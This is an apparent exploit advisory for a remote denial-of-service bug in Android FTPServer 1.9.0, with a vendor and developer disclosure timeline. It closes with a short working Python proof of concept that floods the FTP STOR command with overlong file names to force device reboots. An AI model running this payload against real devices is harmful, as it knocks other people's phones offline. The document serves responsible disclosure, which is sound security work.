# Exploit Title: Android FTPServer 1.9.0 Remote DoS
# Date: 03/20/12# Author: G13# Twitter: @g13net# Software Site: https://sites.google.com/site/andreasliebigapps/ftpserver/# Download Link: http://www.g13net.com/ftpserver.apk# Version: 1.9.0# Category: DoS (android)# ##### Vulnerability ##### FTPServer is vulnerable to a DoS condition when long file names arerepeatedly attempted to be written via the STOR command. Successful exploitation will causes devices to restart. Android Security Team has confirmed this issue. I have been able to test this exploit against Android 2.2 and 2.3.4.0 (ICS) appears not to be vulnerable. ##### Vendor Timeline ##### Android Security Team:10/20/11 - Vendor Notified of vulnerability, Vendor notifies me they willbe looking into the issue10/21/11 - vendor Requests bug report from device, bug report sent, PoCCode Delivered to Vendor10/24/11 - Asked Vendor Status, stated I have been able to duplicate issueon multiple devices10/25/11 - Vendor states they are still working on it10/30/11 - Current Status asked10/31/11 - vendor Replies no updates11/7/11 - Emailed Vendor, they ask for more clarification on issue. Isubmit more details11/8/11 - Vendor acknowledges that it is not the APK itself causing thecrashes. Vendor also confirms full reboots from PoC code.11/9/11 - Vendor asks if I am just crashing application or device incertain instances. I state device is restarting.11/11/11 - I ask if there is anything more I may assist with. Vendorstates they have isolated the impacted component and are working on afix.11/18/11 - Current status Asked.12/8/11 - Update requested, response that they will contact Kernel team foran update01/13/12 - Current status asked, no response03/06/12 - Current status asked, no response03/20/12 - Disclosure Developer:1/24/12 - Developer contacted1/25/12 - Developer Responds1/27/12 - Supplied Developer with PoC code, Developer confirms issue1/29/12 - Developer releases new version3/20/12 - Disclosure ##### PoC ##### #!/usr/bin/python# Android FTPServer PoC Device Crash import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) buffer = "STOR " + "A" * 5000 + "\r\n"for x in xrange(1,31): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print x s.connect(('172.16.30.108',2121)) data=s.recv(1024) s.send("USER test\r\n") data=s.recv(1024) s.send("PASS test\r\n") s.send(buffer) s.send("QUIT") s.close()